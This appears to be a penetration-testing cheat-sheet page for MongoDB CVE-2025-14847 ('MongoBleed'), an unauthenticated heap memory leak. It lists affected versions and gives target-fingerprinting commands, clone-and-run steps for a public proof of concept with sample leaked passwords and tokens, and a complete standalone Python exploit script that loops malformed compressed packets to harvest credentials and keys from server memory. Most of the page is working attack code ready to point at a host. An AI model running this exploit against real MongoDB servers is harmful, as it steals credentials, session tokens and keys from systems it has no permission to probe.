Skip to content

MongoDB CVE-2025-14847 — MongoBleed

2 min read Created Dec 29, 2025 Last updated Mar 28, 2026

CVE-2025-14847 (MongoBleed) is an unauthenticated heap memory disclosure vulnerability. Sending zlib-compressed OP_MSG packets with a deliberately mismatched uncompressed length causes the server to allocate a large buffer, decompress a small payload into it, and return the full buffer (including uninitialized memory from the heap) in the response. The leaked memory may contain credentials, session tokens, encryption keys, or other sensitive data from previous server-side operations.

No authentication is required. The vulnerability is exploitable against any MongoDB instance where the zlib compressor is enabled, which is the default in modern versions.

MongoBleed CVE-2025-14847 affected versions

Branch

Affected

Fixed in

8.2.x

8.2.0 - 8.2.2

8.2.3

8.0.x

8.0.0 - 8.0.16

8.0.17

7.0.x

7.0.0 - 7.0.27

7.0.28

6.0.x

6.0.0 - 6.0.26

6.0.27

5.0.x

5.0.0 - 5.0.31

5.0.32

Check Target Version Before Running

Confirm the version is in the affected range before attempting exploitation:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'db.version()' 2>/dev/null
6.0.5
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 27017 --script mongodb-info $TARGET_IP | grep version
|     version = 6.0.5

Version 6.0.5 falls in the affected range 6.0.0 - 6.0.26. Proceed with the PoC.

Run the PoC

Clone and run the public PoC by Joe Desimone. It loops continuously over different buffer offsets and prints unique leaked strings until stopped:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joe-desimone/mongobleed && cd mongobleed
┌──(kali㉿kali)-[~]
└─$ python3 mongobleed.py $TARGET_IP 27017
[*] MongoBleed -> 10.10.10.50:27017
[*] Streaming unique leaks only (Ctrl+C to stop)

[+] New leak (~offset 500): appuser
[+] New leak (~offset 512): SuperSecret123!
[+] New leak (~offset 1024): eyJhbGciOiJIUzI1NiJ9...

Let the PoC run for at least 30 to 60 seconds to cycle through multiple buffer offsets. Common data found in leaked memory:

  • Usernames and plaintext passwords from recent authentication attempts

  • JWT tokens and session identifiers

  • Connection strings with credentials from application backends

  • Encryption keys and internal configuration data

How It Works

The exploit abuses the OP_COMPRESSED wrapper (opcode 2012) around a normal OP_MSG (opcode 2013). It builds a minimal inner OP_MSG (around 40 bytes containing a ping command), compresses it with zlib, then wraps it in an OP_COMPRESSED packet where the declared uncompressed_size field is set to a large value like 8192 bytes rather than the actual decompressed size. The server allocates a buffer matching the declared size, decompresses the tiny payload into it, and due to the bug returns the entire buffer including uninitialized heap contents. The loop increments uncompressed_size across a range of values to shift memory offsets and maximize coverage of heap regions.

Manual Exploit Script

Standalone version without cloning: edit HOST and PORT before running:

#!/usr/bin/env python3
import socket, struct, zlib, re, time

HOST = "10.10.10.50"  # change me
PORT = 27017
MIN_DOC_LEN = 20
MAX_DOC_LEN = 32768
BUFFER_OFFSET = 500
SLEEP = 0.001

print(f"[*] MongoBleed -> {HOST}:{PORT}")
print("[*] Streaming unique leaks only (Ctrl+C to stop)\n")

last_leak = None
doc_len = MIN_DOC_LEN

while True:
    if doc_len > MAX_DOC_LEN:
        doc_len = MIN_DOC_LEN

    content = b'\x10a\x00\x01\x00\x00\x00'
    bson = struct.pack('<i', doc_len) + content
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)

    payload = struct.pack('<i', 2013)
    payload += struct.pack('<i', doc_len + BUFFER_OFFSET)
    payload += b'\x02'
    payload += compressed

    header = struct.pack('<iiii', 16 + len(payload), 1, 0, 2012)
    packet = header + payload

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        sock.connect((HOST, PORT))
        sock.sendall(packet)
        response = b''
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
            if len(response) >= 4:
                msg_len = struct.unpack('<i', response[:4])[0]
                if len(response) >= msg_len:
                    break
        sock.close()
    except:
        response = b''

    if len(response) < 25:
        doc_len += 1
        time.sleep(SLEEP)
        continue

    try:
        msg_len = struct.unpack('<i', response[:4])[0]
        opcode = struct.unpack('<i', response[12:16])[0]
        raw = zlib.decompress(response[25:msg_len]) if opcode == 2012 else response[16:msg_len]
    except:
        doc_len += 1
        time.sleep(SLEEP)
        continue

    for match in re.finditer(rb"field name '([^']*)'", raw):
        leak = match.group(1)
        if not leak or leak in [b'a', b'$db', b'ping', b'?']:
            continue
        text = leak.decode('utf-8', errors='replace')
        if text != last_leak:
            print(f"[+] New leak (~offset {doc_len}): {text}")
            last_leak = text

    doc_len += 1
    time.sleep(SLEEP)

References